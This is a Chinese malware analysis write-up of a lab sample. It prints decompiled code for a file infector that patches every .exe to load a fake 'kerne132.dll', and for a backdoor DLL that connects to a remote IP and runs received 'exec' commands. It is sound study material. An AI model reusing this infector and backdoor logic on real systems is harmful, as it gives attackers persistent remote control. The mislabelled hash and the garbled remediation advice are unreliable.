一、基本信息
样本基本信息:
样本名称:Lab01-01.dll
样本大小:163840 bytes
MD5:290934C61DE9176AD682FFDD65F0A669
样本名称:Lab01-01.exe
样本大小:16384 bytes
MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB
使用cff_Explorer 查看样本基本信息
使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。
查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll。
KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等
WS2_32.dll:与网络连接相关
MSVCRT.dll:C语言运行库文件
一些相关的函数
Kernel32.dll
Sleep:暂停当前线程的执行
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
CreateMutexA:创建或打开命名的或未命名的互斥对象。
OpenMutexA:打开现有的命名互斥对象。
CloseHandle:关闭打开的对象句柄。
查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll。
可以看到是用到了大量的与文件操作的函数。
Kernel32.dll
CloseHandle:关闭打开的对象句柄。
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
CreateFileA:创建或打开文件或 i/o 设备。
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
CopyFileA:将现有文件复制到新文件。
二、简单的动态分析
使用火绒剑监控该程序,发现并没有什么异常
三、静态分析
首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ve4xemjm-1629269114885)(./images/1629110244147-0eb66978-0ce1-4ea5-91cd-bd1e023e3b01.png)]
Lab01-01.exe 文件详细分析
接下来使用IDA查看Lab01-01.exe这个文件
查看main函数
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
HANDLE v3; // eax
_DWORD *v4; // esi
HANDLE v5; // eax
HANDLE v6; // eax
const char **v7; // ebp
_DWORD *v8; // eax
const char *v9; // esi
_DWORD *v10; // ebx
int v11; // ebp
_DWORD *v12; // eax
unsigned int v13; // edi
int v14; // eax
int v15; // ecx
int v16; // edx
int v17; // esi
int v18; // edi
char *v19; // ebx
_DWORD *v20; // eax
const char **v21; // ecx
unsigned int v22; // edx
_DWORD *v23; // ebp
const char *v24; // edx
unsigned int v25; // kr08_4
char *v26; // eax
char *v27; // ebx
unsigned int v28; // kr10_4
bool v29; // cf
_WORD *v31; // [esp+10h] [ebp-44h]
unsigned __int16 *v32; // [esp+14h] [ebp-40h]
_DWORD *v33; // [esp+18h] [ebp-3Ch]
_DWORD *v34; // [esp+1Ch] [ebp-38h]
int v35; // [esp+20h] [ebp-34h]
_DWORD *v36; // [esp+24h] [ebp-30h]
int v37; // [esp+28h] [ebp-2Ch]
int i; // [esp+2Ch] [ebp-28h]
_DWORD *v39; // [esp+30h] [ebp-24h]
unsigned __int16 *v40; // [esp+34h] [ebp-20h]
char *v41; // [esp+38h] [ebp-1Ch]
int v42; // [esp+3Ch] [ebp-18h]
int v43; // [esp+44h] [ebp-10h]
int v44; // [esp+48h] [ebp-Ch]
HANDLE hObject; // [esp+4Ch] [ebp-8h]
HANDLE v46; // [esp+50h] [ebp-4h]
int argca; // [esp+58h] [ebp+4h]
const char **argva; // [esp+5Ch] [ebp+8h]
const char **argvb; // [esp+5Ch] [ebp+8h]
if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// 参数2:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
{
hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// 创建或打开的文件:C:\Windows\System32\Kernel32.dll
v3 = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
v4 = MapViewOfFile(v3, 4u, 0, 0, 0); // 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
argca = (int)v4;
v5 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开的文件:Lab01-01.dll
v46 = v5;
if ( v5 == (HANDLE)-1 )
exit(0);
v6 = CreateFileMappingA(v5, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
if ( v6 == (HANDLE)-1 )
exit(0);
v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间
argva = v7;
if ( !v7 )
exit(0);
v41 = (char *)v4 + v4[15];
v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
v9 = &v7[15][(_DWORD)v7];
v10 = v8;
v36 = v8;
v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
v13 = *((_DWORD *)v9 + 31);
v39 = v12;
v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
qmemcpy((void *)v11, v10, v13);
v42 = v14;
v15 = v10[5];
*(_DWORD *)(v11 + 20) = v15;
*(_DWORD *)(v11 + 24) = v10[6];
*(_DWORD *)(v11 + 12) = v11 + 40 + v14;
v35 = v11 + 56;
strcpy((char *)(v11 + 40), "kerne132.dll");
v16 = *(_DWORD *)(v11 + 20);
v17 = v11 + 56 + 4 * v16;
v18 = v11 + 56 + 8 * v16;
v44 = v17;
v43 = v18;
v19 = (char *)(16 * v15 + v11 + 56);
*(_DWORD *)(v11 + 28) = v11 + 56 + v14;
*(_DWORD *)(v11 + 36) = v17 + v14;
*(_DWORD *)(v11 + 32) = v18 + v14;
v20 = v36;
v21 = 0;
v22 = 0;
argvb = 0;
for ( i = 0; v22 < v20[5]; ++v34 )
{
if ( *v34 )
{
v37 = 0;
if ( v20[6] )
{
v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
v33 = v39;
v32 = v40;
do
{
if ( *v32 == v22 )
{
v24 = (const char *)sub_401040(*v33, v41, argca);
strcpy(v19, v24);
*v31 = (_WORD)argvb;
*(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
v25 = strlen(v24) + 1;
v26 = &v19[v25];
v27 = &v19[v25 + 9];
*v23 = &v26[v42];
*(_DWORD *)v26 = dword_403070;
*((_DWORD *)v26 + 1) = dword_403074;
v26[8] = byte_403078;
strcpy(v27, v24);
v28 = strlen(v24) + 1;
v20 = v36;
argvb = (const char **)((char *)argvb + 1);
v22 = i;
v19 = &v27[v28];
++v23;
++v31;
}
++v32;
v29 = (unsigned int)++v37 < v20[6];
++v33;
}
while ( v29 );
v21 = argvb;
v18 = v43;
v17 = v44;
}
}
i = ++v22;
}
CloseHandle(hObject); // 关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll
CloseHandle(v46); // 关闭打开的对象句柄 Lab01-01.dll
if ( !CopyFileA(ExistingFileName, NewFileName, 0) )// 将现有文件复制到新文件 Lab01-01.dll ->> C:\windows\system32\kerne132.dll
exit(0);
sub_4011E0(aC, 0); // 递归函数 sub_4011E0
}
return 0;
}
通过对主函数进行分析,得出如下结论:
1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:
Lab01-01.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。
接下来查看sub_4011E0函数
int __cdecl sub_4011E0(LPCSTR lpFileName, int a2)
{
int result; // eax
const char *v3; // ebp
HANDLE v4; // esi
char *v5; // edx
unsigned int v6; // kr1C_4
char *v7; // ebp
HANDLE hFindFile; // [esp+10h] [ebp-144h]
struct _WIN32_FIND_DATAA FindFileData; // [esp+14h] [ebp-140h] BYREF
result = a2;
if ( a2 <= 7 )
{
v3 = lpFileName;
v4 = FindFirstFileA(lpFileName, &FindFileData);// 在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录 : lpFileName
hFindFile = v4;
while ( v4 != (HANDLE)-1 )
{
if ( (FindFileData.dwFileAttributes & 0x10) == 0// 文件的文件属性. 0x10 FILE_ATTRIBUTE_DIRECTORY 标识目录 ->> 判断是否为文件目录 不是目录的话 执行下面的流程
|| !strcmp(FindFileData.cFileName, asc_403040)// 文件的名称 .
|| !strcmp(FindFileData.cFileName, asc_40303C) )// 文件的名称 ..
{
v6 = strlen(FindFileData.cFileName) + 1;
v7 = (char *)malloc(strlen(v3) + 1 + strlen(FindFileData.cFileName));
strcpy(v7, lpFileName);
v7[strlen(lpFileName) - 1] = 0;
strcat(v7, FindFileData.cFileName);
if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) )// 判断文件后缀是否是.exe 如果是exe文件 执行sub_4010A0
sub_4010A0(v7);
v3 = lpFileName;
}
else
{
v5 = (char *)malloc(strlen(v3) + 2 * strlen(FindFileData.cFileName) + 6);
strcpy(v5, v3);
v5[strlen(v3) - 1] = 0;
strcat(v5, FindFileData.cFileName);
strcat(v5, asc_403038);
sub_4011E0(v5, a2 + 1); // 递归的查找文件
}
v4 = hFindFile;
result = FindNextFileA(hFindFile, &FindFileData);// 从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
if ( !result )
return result;
}
result = FindClose((HANDLE)0xFFFFFFFF);
}
return result;
}
通过对sub_4011E0函数进行分析,得出如下结论:
1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。
sub_4010A0函数
接下来查看sub_4010A0函数
char *__cdecl sub_4010A0(LPCSTR lpFileName)
{
char *result; // eax
const void *v2; // esi
int *v3; // ebp
int *v4; // edi
int *i; // edi
int *v6; // ebx
_DWORD *v7; // ebp
const void *v8; // [esp+10h] [ebp-Ch]
HANDLE hObject; // [esp+14h] [ebp-8h]
HANDLE v10; // [esp+18h] [ebp-4h]
v10 = CreateFileA(lpFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开文件或 i/o 设备。 打开查找到的.exe可执行文件
hObject = CreateFileMappingA(v10, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
result = (char *)MapViewOfFile(hObject, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间。
v2 = result;
v8 = result;
if ( result )
{
v3 = (int *)&result[*((_DWORD *)result + 15)];
result = (char *)IsBadReadPtr(v3, 4u); // 验证调用进程是否具有对指定内存范围的读访问权限。
if ( !result && *v3 == 0x4550 ) // 0x4550 PE头标识
{
v4 = (int *)sub_401040(v3[32], (int)v3, (int)v2);
result = (char *)IsBadReadPtr(v4, 20u);
if ( !result )
{
for ( i = v4 + 3; *(i - 2) || *i; i += 5 )
{
v6 = (int *)sub_401040(*i, (int)v3, (int)v2);
result = (char *)IsBadReadPtr(v6, 0x14u);
if ( result )
return result;
if ( !stricmp((const char *)v6, String2) )// 判断是否为 kernel32.dll 字符串
{
qmemcpy(v6, aKerne132Dll, strlen((const char *)v6) + 1);// 字符串拷贝 kernel32.dll ->> kerne132.dll
v2 = v8;
}
}
v7 = v3 + 52;
*v7 = 0;
v7[1] = 0;
UnmapViewOfFile(v2); // 从调用进程的地址空间取消映射文件的映射视图。
CloseHandle(hObject); // 关闭打开的对象句柄。
result = (char *)CloseHandle(v10); // 关闭打开的对象句柄
}
}
}
return result;
}
通过对sub_4010A0函数进行分析,得出如下结论:
1、该函数打开找到的后缀为**.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll**。
初步的结论
通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:
-
该程序通过新建kerne132.dll文件并将可执行文件的kernel32.dll字符串修改为kerne132.dll字符串,从而修改程序,故猜想后面该可执行文件加载的并不会是kernel32.dll,而会是kerne132.dll文件。
-
由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要**。**
-
遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?
Lab01-01.dll 文件详细分析
接下来使用IDA查看Lab01-01.dll这个文件
查看DllMain函数
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
SOCKET v3; // esi
HANDLE hObject; // [esp+10h] [ebp-11F8h]
struct sockaddr name; // [esp+14h] [ebp-11F4h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+24h] [ebp-11E4h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+34h] [ebp-11D4h] BYREF
struct WSAData WSAData; // [esp+78h] [ebp-1190h] BYREF
char buf; // [esp+208h] [ebp-1000h] BYREF
char v11[4092]; // [esp+209h] [ebp-FFFh] BYREF
__int16 v12; // [esp+1205h] [ebp-3h]
char v13; // [esp+1207h] [ebp-1h]
if ( fdwReason == 1 )
{
buf = byte_10026054;
memset(v11, 0, sizeof(v11));
v12 = 0;
v13 = 0;
if ( !OpenMutexA(0x1F0001u, 0, Name) ) // 打开现有的命名互斥对象 ->> 判断互斥体是否存在 SADFHUHF
{
CreateMutexA(0, 0, Name); // 创建或打开命名的或未命名的互斥对象。 ->> 如果不存在的话 ,创建互斥体
if ( !WSAStartup(0x202u, &WSAData) ) // 应用程序或DLL调用的第一个Windows Sockets函数。
{
v3 = socket(2, 1, 6);
if ( v3 != -1 )
{
name.sa_family = 2;
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);// 127.26.152.13
*(_WORD *)name.sa_data = htons(0x50u);// 端口 80
if ( connect(v3, &name, 16) != -1 )
{
while ( 1 )
{
while ( 1 )
{
do
{
if ( send(v3, ::buf, strlen(::buf), 0) == -1 || shutdown(v3, 1) == -1 )// send() 系统调用函数,用来发送消息到一个套接字中
// shutdown()函数用于任何类型的套接口禁止接收、禁止发送或禁止收发
goto LABEL_15;
}
while ( recv(v3, &buf, 4096, 0) <= 0 );
if ( strncmp(Str1, &buf, 5u) ) // sleep 判断接受到的命令是否为 Sleep 如果不是 跳出
// 是的话 执行Sleep函数
break;
LABEL_10:
Sleep(0x60000u);
}
if ( strncmp(aExec, &buf, 4u) ) // exec 判断命令是否是 exec 如果不是 判断是否为 q
{
if ( buf == 'q' ) // q 判断命令是否是 q 如果是 关闭打开的对象句柄
{
CloseHandle(hObject); // 关闭打开的对象句柄
break;
}
goto LABEL_10;
}
memset(&StartupInfo, 0, sizeof(StartupInfo));// 命令如果是 exec 执行接下来操作
StartupInfo.cb = 68;
CreateProcessA(0, &v11[4], 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);// 创建新的进程
}
}
LABEL_15:
closesocket(v3);
}
WSACleanup();
}
}
}
return 1;
}
对这个DllMain主函数进行分析,得出如下结论:
- 首先,该程序会判断互斥体 SADFHUHF 是否存在,如果不存在的话,创建该互斥体,确保同一时间只有这个恶意代码的实例在运行。
- 之后,在不断的接收数据和发送数据,可以猜想到,这个程序的主要功能就是从一个远程机器接收命令,然后执行不同的操作。
- 如果接收到的字符串是Sleep ,就调用Sleep函数。
- 如果接受到的命令前四个字节是**exec,**就根据不同的命令创建新的进程。
这个Dll程序大概就分析到这里,总结一下:
通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。
四、动静态调试结合分析
通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。
主要解决刚才遗留下来的一个问题:
在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?
在0x401813处下断点,查看火绒剑监控到的相关信息
可以看到有对exe可执行程序修改的痕迹。
使用CFF explorer查看修改后的exe文件信息
可以看到,可执行文件在加载DLL时,加载的不再是**kernel32.dll,而将会是kerne132.dll ,**而这个dll在加载的时候就会执行后门程序。
接下来看一下kerne132.dll 程序
kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。
五、样本相关特征
字符串:
WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
kerne132.dll
SADFHUHF
六、总结与防护建议
该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。